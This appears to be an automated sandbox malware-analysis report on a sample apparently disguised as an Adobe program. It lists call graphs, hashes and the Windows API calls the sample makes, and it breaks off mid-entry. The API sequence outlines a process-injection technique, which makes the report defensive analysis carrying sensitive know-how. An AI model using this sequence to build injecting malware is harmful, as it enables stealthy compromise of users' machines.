56858->56868 56869 7cc5fc0 4 API calls 56858->56869 56870 7cc6140 2 API calls 56858->56870 56871 7cc65b1 2 API calls 56858->56871 56872 7cc5dd2 2 API calls 56858->56872 56859->56864 56860->56864 56861->56864 56862->56864 56863->56864 56864->56802 56865->56864 56866->56864 56867->56864 56868->56864 56869->56864 56870->56864 56871->56864 56872->56864 56874 7cc5f6b 56873->56874 56941 7cc48c8 56874->56941 56945 7cc48c1 56874->56945 56875 7cc6674 56879 7cc5dd8 56878->56879 56880 7cc5ee6 56879->56880 56949 7cc4b44 56879->56949 56953 7cc4b50 56879->56953 56880->56810 56884 7cc643d 56883->56884 56885 7cc6869 56884->56885 56957 7cc4248 56884->56957 56961 7cc4240 56884->56961 56965 7cc49b8 56888->56965 56969 7cc49b0 56888->56969 56889 7cc6131 56973 7cc42f8 56892->56973 56977 7cc42f0 56892->56977 56893 7cc5ff4 56894 7cc6869 56893->56894 56895 7cc4248 ResumeThread 56893->56895 56896 7cc4240 ResumeThread 56893->56896 56895->56893 56896->56893 56900 7cc6413 56899->56900 56900->56899 56901 7cc62aa 56900->56901 56902 7cc48c8 WriteProcessMemory 56900->56902 56903 7cc48c1 WriteProcessMemory 56900->56903 56901->56810 56902->56900 56903->56900 56905 7cc5eac 56904->56905 56907 7cc4b44 CreateProcessA 56905->56907 56908 7cc4b50 CreateProcessA 56905->56908 56906 7cc5ee6 56906->56810 56907->56906 56908->56906 56910 7cc642c 56909->56910 56911 7cc6869 56910->56911 56912 7cc4248 ResumeThread 56910->56912 56913 7cc4240 ResumeThread 56910->56913 56912->56910 56913->56910 56916 7cc48c8 WriteProcessMemory 56914->56916 56917 7cc48c1 WriteProcessMemory 56914->56917 56915 7cc674a 56916->56915 56917->56915 56919 7cc62ce 56918->56919 56981 7cc43c8 56919->56981 56985 7cc43d0 56919->56985 56920 7cc62aa 56920->56810 56921 7cc62ec 56921->56920 56922 7cc48c8 WriteProcessMemory 56921->56922 56923 7cc48c1 WriteProcessMemory 56921->56923 56922->56921 56923->56921 56928 7cc42f8 Wow64SetThreadContext 56926->56928 56929 7cc42f0 Wow64SetThreadContext 56926->56929 56927 7cc6545 56928->56927 56929->56927 56931 7cc643d 56930->56931 56932 7cc6869 56931->56932 56933 7cc4248 ResumeThread 56931->56933 56934 7cc4240 ResumeThread 56931->56934 56933->56931 56934->56931 56936 7cc6856 56935->56936 56937 7cc643d 56935->56937 56938 7cc6869 56937->56938 56939 7cc4248 ResumeThread 56937->56939 56940 7cc4240 ResumeThread 56937->56940 56939->56937 56940->56937 56942 7cc4910 WriteProcessMemory 56941->56942 56944 7cc4967 56942->56944 56944->56875 56946 7cc4910 WriteProcessMemory 56945->56946 56948 7cc4967 56946->56948 56948->56875 56950 7cc4b50 CreateProcessA 56949->56950 56952 7cc4d9b 56950->56952 56952->56952 56954 7cc4bd9 CreateProcessA 56953->56954 56956 7cc4d9b 56954->56956 56956->56956 56958 7cc4288 ResumeThread 56957->56958 56960 7cc42b9 56958->56960 56960->56884 56962 7cc4248 ResumeThread 56961->56962 56964 7cc42b9 56962->56964 56964->56884 56966 7cc4a03 ReadProcessMemory 56965->56966 56968 7cc4a47 56966->56968 56968->56889 56970 7cc4a03 ReadProcessMemory 56969->56970 56972 7cc4a47 56970->56972 56972->56889 56974 7cc433d Wow64SetThreadContext 56973->56974 56976 7cc4385 56974->56976 56976->56893 56978 7cc42f8 Wow64SetThreadContext 56977->56978 56980 7cc4385 56978->56980 56980->56893 56982 7cc4410 VirtualAllocEx 56981->56982 56984 7cc444d 56982->56984 56984->56921 56986 7cc4410 VirtualAllocEx 56985->56986 56988 7cc444d 56986->56988 56988->56921 57092 63bc258 57093 63bc28e 57092->57093 57094 63bc34e 57093->57094 57097 79a5a6a 57093->57097 57101 79a5a78 57093->57101 57098 79a5a78 57097->57098 57099 79a5ad9 MonitorFromPoint 57098->57099 57100 79a5b0a 57098->57100 57099->57100 57100->57094 57102 79a5abb 57101->57102 57103 79a5ad9 MonitorFromPoint 57102->57103 57104 79a5b0a 57102->57104 57103->57104 57104->57094 56989 14cd1e4 56990 14cd1fc 56989->56990 56991 14cd256 56990->56991 56994 5bc368c 56990->56994 57003 5bc6bd8 56990->57003 56995 5bc3697 56994->56995 56996 5bc6c49 56995->56996 56998 5bc6c39 56995->56998 57028 5bc37b4 56996->57028 57012 5bc7178 56998->57012 57017 5bc7244 56998->57017 57023 5bc7168 56998->57023 56999 5bc6c47 57006 5bc6c15 57003->57006 57004 5bc6c49 57005 5bc37b4 CallWindowProcW 57004->57005 57008 5bc6c47 57005->57008 57006->57004 57007 5bc6c39 57006->57007 57009 5bc7178 CallWindowProcW 57007->57009 57010 5bc7168 CallWindowProcW 57007->57010 57011 5bc7244 CallWindowProcW 57007->57011 57009->57008 57010->57008 57011->57008 57013 5bc718c 57012->57013 57032 5bc721f 57013->57032 57035 5bc7230 57013->57035 57014 5bc7218 57014->56999 57018 5bc7202 57017->57018 57019 5bc7252 57017->57019 57021 5bc721f CallWindowProcW 57018->57021 57022 5bc7230 CallWindowProcW 57018->57022 57020 5bc7218 57020->56999 57021->57020 57022->57020 57025 5bc718c 57023->57025 57024 5bc7218 57024->56999 57026 5bc721f CallWindowProcW 57025->57026 57027 5bc7230 CallWindowProcW 57025->57027 57026->57024 57027->57024 57029 5bc37bf 57028->57029 57030 5bc84ba CallWindowProcW 57029->57030 57031 5bc8469 57029->57031 57030->57031 57031->56999 57034 5bc7241 57032->57034 57038 5bc83fe 57032->57038 57034->57014 57036 5bc7241 57035->57036 57037 5bc83fe CallWindowProcW 57035->57037 57036->57014 57037->57036 57039 5bc37b4 CallWindowProcW 57038->57039 57040 5bc840a 57039->57040 57040->57034 56772 79a4b00 56773 79a4b08 CloseHandle 56772->56773 56774 79a4b6f 56773->56774 56775 79a1900 56776 79a194e DrawTextExW 56775->56776 56778 79a19a6 56776->56778 56765 7cc6d40 56766 7cc6ecb 56765->56766 56768 7cc6d66 56765->56768 56768->56766 56769 7cc3518 56768->56769 56770 7cc6fc0 PostMessageW 56769->56770 56771 7cc702c 56770->56771 56771->56768 56779 1744668 56780 174467a 56779->56780 56781 1744686 56780->56781 56783 1744781 56780->56783 56784 17447a5 56783->56784 56788 1744890 56784->56788 56792 1744880 56784->56792 56790 17448b7 56788->56790 56789 1744994 56789->56789 56790->56789 56796 174449c 56790->56796 56794 17448b7 56792->56794 56793 1744994 56794->56793 56795 174449c CreateActCtxA 56794->56795 56795->56793 56797 1745920 CreateActCtxA 56796->56797 56799 17459e3 56797->56799 57041 174eed8 57042 174ef20 GetModuleHandleW 57041->57042 57043 174ef1a 57041->57043 57044 174ef4d 57042->57044 57043->57042 57045 5bcafe0 57046 5bcb00d 57045->57046 57051 63bcdf1 57046->57051 57064 63bce10 57046->57064 57076 63bce20 57046->57076 57047 5bcbafe 57052 63bcdfa 57051->57052 57053 63bce68 57051->57053 57052->57047 57054 63bcebb 57053->57054 57056 63bcf35 57053->57056 57061 63bcdf1 GetCurrentThreadId 57054->57061 57062 63bce20 GetCurrentThreadId 57054->57062 57063 63bce10 GetCurrentThreadId 57054->57063 57055 63bcec5 57055->57047 57060 63bcff4 57056->57060 57088 63bb964 57056->57088 57059 63bb964 GetCurrentThreadId 57059->57060 57060->57047 57061->57055 57062->57055 57063->57055 57066 63bce20 57064->57066 57065 63bcebb 57073 63bcdf1 GetCurrentThreadId 57065->57073 57074 63bce20 GetCurrentThreadId 57065->57074 57075 63bce10 GetCurrentThreadId 57065->57075 57066->57065 57067 63bcef0 57066->57067 57069 63bb964 GetCurrentThreadId 57067->57069 57072 63bcff4 57067->57072 57068 63bcec5 57068->57047 57070 63bd018 57069->57070 57071 63bb964 GetCurrentThreadId 57070->57071 57071->57072 57072->57047 57073->57068 57074->57068 57075->57068 57078 63bce35 57076->57078 57077 63bcebb 57085 63bcdf1 GetCurrentThreadId 57077->57085 57086 63bce20 GetCurrentThreadId 57077->57086 57087 63bce10 GetCurrentThreadId 57077->57087 57078->57077 57080 63bcef0 57078->57080 57079 63bcec5 57079->57047 57081 63bb964 GetCurrentThreadId 57080->57081 57084 63bcff4 57080->57084 57082 63bd018 57081->57082 57083 63bb964 GetCurrentThreadId 57082->57083 57083->57084 57084->57047 57085->57079 57086->57079 57087->57079 57089 63bb96f 57088->57089 57090 63bd33f GetCurrentThreadId 57089->57090 57091 63bd018 57089->57091 57090->57091 57091->57059

                                                                                                                              Executed Functions

                                                                                                                              Function 07CC4B44 Relevance: 1.7, APIs: 1, Instructions: 249processCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 943 7cc4b44-7cc4be5 946 7cc4c1e-7cc4c3e 943->946 947 7cc4be7-7cc4bf1 943->947 952 7cc4c77-7cc4ca6 946->952 953 7cc4c40-7cc4c4a 946->953 947->946 948 7cc4bf3-7cc4bf5 947->948 950 7cc4c18-7cc4c1b 948->950 951 7cc4bf7-7cc4c01 948->951 950->946 954 7cc4c05-7cc4c14 951->954 955 7cc4c03 951->955 961 7cc4cdf-7cc4d99 CreateProcessA 952->961 962 7cc4ca8-7cc4cb2 952->962 953->952 957 7cc4c4c-7cc4c4e 953->957 954->954 956 7cc4c16 954->956 955->954 956->950 958 7cc4c50-7cc4c5a 957->958 959 7cc4c71-7cc4c74 957->959 963 7cc4c5c 958->963 964 7cc4c5e-7cc4c6d 958->964 959->952 975 7cc4d9b-7cc4da1 961->975 976 7cc4da2-7cc4e28 961->976 962->961 965 7cc4cb4-7cc4cb6 962->965 963->964 964->964 966 7cc4c6f 964->966 967 7cc4cb8-7cc4cc2 965->967 968 7cc4cd9-7cc4cdc 965->968 966->959 970 7cc4cc4 967->970 971 7cc4cc6-7cc4cd5 967->971 968->961 970->971 971->971 972 7cc4cd7 971->972 972->968 975->976 986 7cc4e38-7cc4e3c 976->986 987 7cc4e2a-7cc4e2e 976->987 988 7cc4e4c-7cc4e50 986->988 989 7cc4e3e-7cc4e42 986->989 987->986 990 7cc4e30 987->990 992 7cc4e60-7cc4e64 988->992 993 7cc4e52-7cc4e56 988->993 989->988 991 7cc4e44 989->991 990->986 991->988 995 7cc4e76-7cc4e7d 992->995 996 7cc4e66-7cc4e6c 992->996 993->992 994 7cc4e58 993->994 994->992 997 7cc4e7f-7cc4e8e 995->997 998 7cc4e94 995->998 996->995 997->998 999 7cc4e95 998->999 999->999
                                                                                                                              APIs
                                                                                                                              • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07CC4D86
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1748949711.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_7cc0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CreateProcess
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 963392458-0
                                                                                                                              • Opcode ID: ed5b5b99f4a883ecaad378d356d3decfd178893b04aa33a633ffb10870f0e1f8
                                                                                                                              • Instruction ID: 84169a8a2408d63555831101131b9cee0d975b6e8a1ebb6dfd0405133e753e64
                                                                                                                              • Opcode Fuzzy Hash: ed5b5b99f4a883ecaad378d356d3decfd178893b04aa33a633ffb10870f0e1f8
                                                                                                                              • Instruction Fuzzy Hash: E6A17CB1D0025ADFDB14DFA8C8907EDBFB2BF44314F1481A9E849A7250DB749A85CF92
                                                                                                                              Function 07CC4B50 Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07CC4D86
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1748949711.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_7cc0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CreateProcess
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 963392458-0
                                                                                                                              • Opcode ID: cd37752ddceb5bec3239f44d9a87b7b742cf16dcf3f4da4d5fc4618a6b208980
                                                                                                                              • Instruction ID: 27afa5d1b1331168e8451060949ea2b29b9a53a1587631787fd6e29f7271d505
                                                                                                                              • Opcode Fuzzy Hash: cd37752ddceb5bec3239f44d9a87b7b742cf16dcf3f4da4d5fc4618a6b208980
                                                                                                                              • Instruction Fuzzy Hash: 5A916EB1D0025ADFDF14DFA8C8907EDBBB2BF44314F1581A9E809A7250DB749A85CF92
                                                                                                                              Function 05BC37B4 Relevance: 1.6, APIs: 1, Instructions: 97COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CallWindowProcW.USER32(?,?,?,?,?), ref: 05BC84E1
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1747158020.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_5bc0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CallProcWindow
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2714655100-0
                                                                                                                              • Opcode ID: 6c14c5d554bd420d400f218bdb7616ac5324905b6584a33f307a3fb6cde65504
                                                                                                                              • Instruction ID: f24f00c2e1029e566ca70e4930081e7a028d00cb8aec27cc09f119d6b215b685
                                                                                                                              • Opcode Fuzzy Hash: 6c14c5d554bd420d400f218bdb7616ac5324905b6584a33f307a3fb6cde65504
                                                                                                                              • Instruction Fuzzy Hash: 554119B5900209CFCB14DF99C448AAABFF6FB89314F24C49DE519AB321D775A841CFA4
                                                                                                                              Function 0174449C Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CreateActCtxA.KERNEL32(?), ref: 017459D1
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1742662059.0000000001740000.00000040.00000800.00020000.00000000.sdmp, Offset: 01740000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_1740000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Create
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2289755597-0
                                                                                                                              • Opcode ID: 4d37cfc0d4d1cdc847ec91420946e136b5487fc374ce5dc7c0197d57a14bf79c
                                                                                                                              • Instruction ID: fa703a017cf2ddee30ac21f61784f4bc4e46a1bc80ef7e9722660728666bec88
                                                                                                                              • Opcode Fuzzy Hash: 4d37cfc0d4d1cdc847ec91420946e136b5487fc374ce5dc7c0197d57a14bf79c
                                                                                                                              • Instruction Fuzzy Hash: 2241DDB0D0071DCBDB24DFA9C884B9EFBB5BF49304F2484AAD408AB255DB756985CF90
                                                                                                                              Function 01745914 Relevance: 1.6, APIs: 1, Instructions: 95COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CreateActCtxA.KERNEL32(?), ref: 017459D1
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1742662059.0000000001740000.00000040.00000800.00020000.00000000.sdmp, Offset: 01740000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_1740000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Create
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2289755597-0
                                                                                                                              • Opcode ID: c5b41a3a697cd06c46a1c6eda932b26320b22ccb225966c635c4c3f7938a0f77
                                                                                                                              • Instruction ID: a5deb1a632564c6c07ec2777d2ad5ff5678d8e28c84b485f643c9bda10eb75d9
                                                                                                                              • Opcode Fuzzy Hash: c5b41a3a697cd06c46a1c6eda932b26320b22ccb225966c635c4c3f7938a0f77
                                                                                                                              • Instruction Fuzzy Hash: 9C4101B0C00619CFDB24DFA9C884B8DBBB5BF49304F24806AD408AB265DB756985CF90
                                                                                                                              Function 079A18F8 Relevance: 1.6, APIs: 1, Instructions: 76COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • DrawTextExW.USER32(?,?,?,?,?,?), ref: 079A1997
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1748664525.00000000079A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079A0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_79a0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: DrawText
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2175133113-0
                                                                                                                              • Opcode ID: 04df98a32cad679c23bc607e4213b2ac9e7c089083e4e9c294d4684cc8548536
                                                                                                                              • Instruction ID: 6b5c5fed2c906c6d6d732191cfe7408d258386a5f6da2e8d804ff8a65ca7d89d
                                                                                                                              • Opcode Fuzzy Hash: 04df98a32cad679c23bc607e4213b2ac9e7c089083e4e9c294d4684cc8548536
                                                                                                                              • Instruction Fuzzy Hash: 1931E4B59013099FDB10CF9AE984ADEFBF9FB48324F14842AE919A7210D775A544CFA0
                                                                                                                              Function 07CC48C1 Relevance: 1.6, APIs: 1, Instructions: 71injectionCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07CC4958
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1748949711.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_7cc0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: MemoryProcessWrite
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3559483778-0
                                                                                                                              • Opcode ID: b668048d075e75568b2a5d08587475bc72a03bd4085287aee810721410c432f1
                                                                                                                              • Instruction ID: 181ca2dc8842f44882fbc74f4695131e67adb87811e0ae3113ce6deb04f45396
                                                                                                                              • Opcode Fuzzy Hash: b668048d075e75568b2a5d08587475bc72a03bd4085287aee810721410c432f1
                                                                                                                              • Instruction Fuzzy Hash: 782146B1900259DFCB14CFA9C884BEEBFF5FF48310F10842AE958A7250C7789A54CBA4
                                                                                                                              Function 079A1900 Relevance: 1.6, APIs: 1, Instructions: 69COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • DrawTextExW.USER32(?,?,?,?,?,?), ref: 079A1997
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1748664525.00000000079A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079A0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_79a0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: DrawText
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2175133113-0
                                                                                                                              • Opcode ID: 30bc26eeb774257c4458f4d7611a780619d7f8448eb99c3dc1b80663ab56e7c5
                                                                                                                              • Instruction ID: 471a6003d5aa589dca5e3968ea6f4f4560e721a3ecaec9be372201f21dc85a34
                                                                                                                              • Opcode Fuzzy Hash: 30bc26eeb774257c4458f4d7611a780619d7f8448eb99c3dc1b80663ab56e7c5
                                                                                                                              • Instruction Fuzzy Hash: 1021E3B5D012099FDB10CF9AD884ADEFBF9FB48324F14842AE919A7210D374A944CFA0
                                                                                                                              Function 07CC48C8 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07CC4958
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1748949711.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_7cc0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: MemoryProcessWrite
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3559483778-0
                                                                                                                              • Opcode ID: 37527075e45b36d09f6d85a1d1e782441433629b06051ec5bbe4915bcfbfa8ef
                                                                                                                              • Instruction ID: c041dc1f52d07daa6749323ba932694dcf4030fa3844b994323d0faf397d15bd
                                                                                                                              • Opcode Fuzzy Hash: 37527075e45b36d09f6d85a1d1e782441433629b06051ec5bbe4915bcfbfa8ef
                                                                                                                              • Instruction Fuzzy Hash: 842124B19003599FCB10DFA9C885BDEBBF5FF48320F10842AE959A7250D7789A54CBA4
                                                                                                                              Function 07CC42F0 Relevance: 1.6, APIs: 1, Instructions: 68threadCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07CC4376
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1748949711.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_7cc0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ContextThreadWow64
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 983334009-0
                                                                                                                              • Opcode ID: 57dd841b11626d24ee2c52fa995efef5a0e4c66b7ee91ef22e24d8183eb094c0
                                                                                                                              • Instruction ID: 55dfdddc45bb64953e96db58b97a808a466588b6836f0ff1e04c0d5ee2d9e549
                                                                                                                              • Opcode Fuzzy Hash: 57dd841b11626d24ee2c52fa995efef5a0e4c66b7ee91ef22e24d8183eb094c0
                                                                                                                              • Instruction Fuzzy Hash: 392148B19002098FDB14DFAAC4857EEBFF4AF88364F14842AD459A7241C7789685CFA5
                                                                                                                              Function 079A5A78 Relevance: 1.6, APIs: 1, Instructions: 64COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • MonitorFromPoint.USER32(?,?,00000002), ref: 079A5AF7
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1748664525.00000000079A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079A0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_79a0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: FromMonitorPoint
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1566494148-0
                                                                                                                              • Opcode ID: ddc866c818603e02bc3eef41e370e14532b0b08402406da31a467a910503079f
                                                                                                                              • Instruction ID: 41f813580e0b57045bc7abea7cbd71f53cbc7bf59b1f5b380da26abd8938d084
                                                                                                                              • Opcode Fuzzy Hash: ddc866c818603e02bc3eef41e370e14532b0b08402406da31a467a910503079f
                                                                                                                              • Instruction Fuzzy Hash: 1D2189B4A003489FCB10DF9AD444BEEBBF5FB48314F10841AE856AB394C775A944CFA1
                                                                                                                              Function 07CC42F8 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07CC4376
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1748949711.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_7cc0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ContextThreadWow64
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 983334009-0
                                                                                                                              • Opcode ID: e851ecb759314ce20b006996c288569828a2bfd6236db1615ceca2e01591c1bc
                                                                                                                              • Instruction ID: d2c4e0345590e762c30c12a5c38ae974c629056f5e3a896e7984e926072de81b
                                                                                                                              • Opcode Fuzzy Hash: e851ecb759314ce20b006996c288569828a2bfd6236db1615ceca2e01591c1bc
                                                                                                                              • Instruction Fuzzy Hash: 092137B19002098FDB14DFAAC4857EEBFF4AF88364F14C42AD459A7240C7789A44CFA4
                                                                                                                              Function 07CC49B8 Relevance: 1.6, APIs: 1, Instructions: 63COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 07CC4A38
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1748949711.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_7cc0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: MemoryProcessRead
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1726664587-0
                                                                                                                              • Opcode ID: 5256fe853ef57d1709add43c549c86fd9a820a9f71a7fc42bd37156490ecffe6
                                                                                                                              • Instruction ID: 1bd856e40b772a20fd1c0783a8028bd795126d1d09ef4c33541fb299e3ae8cde
                                                                                                                              • Opcode Fuzzy Hash: 5256fe853ef57d1709add43c549c86fd9a820a9f71a7fc42bd37156490ecffe6
                                                                                                                              • Instruction Fuzzy Hash: B32128B18002599FCB10DFAAC880ADEFBF5FF48310F548429E959A7250D7349544CBA4
                                                                                                                              Function 07CC49B0 Relevance: 1.6, APIs: 1, Instructions: 63COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 07CC4A38
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1748949711.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_7cc0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: MemoryProcessRead
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1726664587-0
                                                                                                                              • Opcode ID: abb7870d74ba539e438dcd5a0a2b68697b0e25646d7aa86837f90dd0a2eef3b7
                                                                                                                              • Instruction ID: b5f8ab594cb376a817a47715969cf1ace8fd6b5c4f2950e13b8e9464da74ae58
                                                                                                                              • Opcode Fuzzy Hash: abb7870d74ba539e438dcd5a0a2b68697b0e25646d7aa86837f90dd0a2eef3b7
                                                                                                                              • Instruction Fuzzy Hash: 4C2136B19002599FCB14DFA9C884AEEBFF1FF48310F14842AE959A7250D7349541DF64
                                                                                                                              Function 079A5A6A Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • MonitorFromPoint.USER32(?,?,00000002), ref: 079A5AF7
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1748664525.00000000079A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079A0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_79a0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: FromMonitorPoint
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1566494148-0
                                                                                                                              • Opcode ID: a7243a75f0fa58426211a964dba9cbcebfecfdaff49fc58a0e4c6969752aef75
                                                                                                                              • Instruction ID: a57e33fe2612f9bd516fe6d160d38d504179f01903d2610db63d4c5496243d14
                                                                                                                              • Opcode Fuzzy Hash: a7243a75f0fa58426211a964dba9cbcebfecfdaff49fc58a0e4c6969752aef75
                                                                                                                              • Instruction Fuzzy Hash: E32187B4A04388AFCB11DF9AD444BEEBFF4FB09324F10845AE855AB280C3756944CFA1
                                                                                                                              Function 07CC4240 Relevance: 1.6, APIs: 1, Instructions: 55threadCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000003.00000002.1748949711.0000000007CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CC0000, based on PE: false
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_3_2_7cc0000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ResumeThread
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 947044025-0
                                                                                                                              • Opcode ID: e3f6efdedd4213b71d4395536f4479cc25a3a9925b1b1c36956a7cb2db4c76f3
                                                                                                                              • Instruction ID: dd39e3e25050bf2510b4b31b0508418c2701fd33034c4c9ee47d50ef6003b6d5
                                                                                                                              • Opcode Fuzzy Hash: e3f6efdedd4213b71d4395536f4479cc25a3a9925b1b1c36956a7cb2db4c76f3
                                                                                                                              • Instruction Fuzzy Hash: F61158B19002498FDB20DFAAC4457EEFFF4EF88324F208819D559A7250CB35A545CFA5
                                                                                                                              Function 07CC43C8 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07CC443E
                                                                                                                              Memory Dump Source
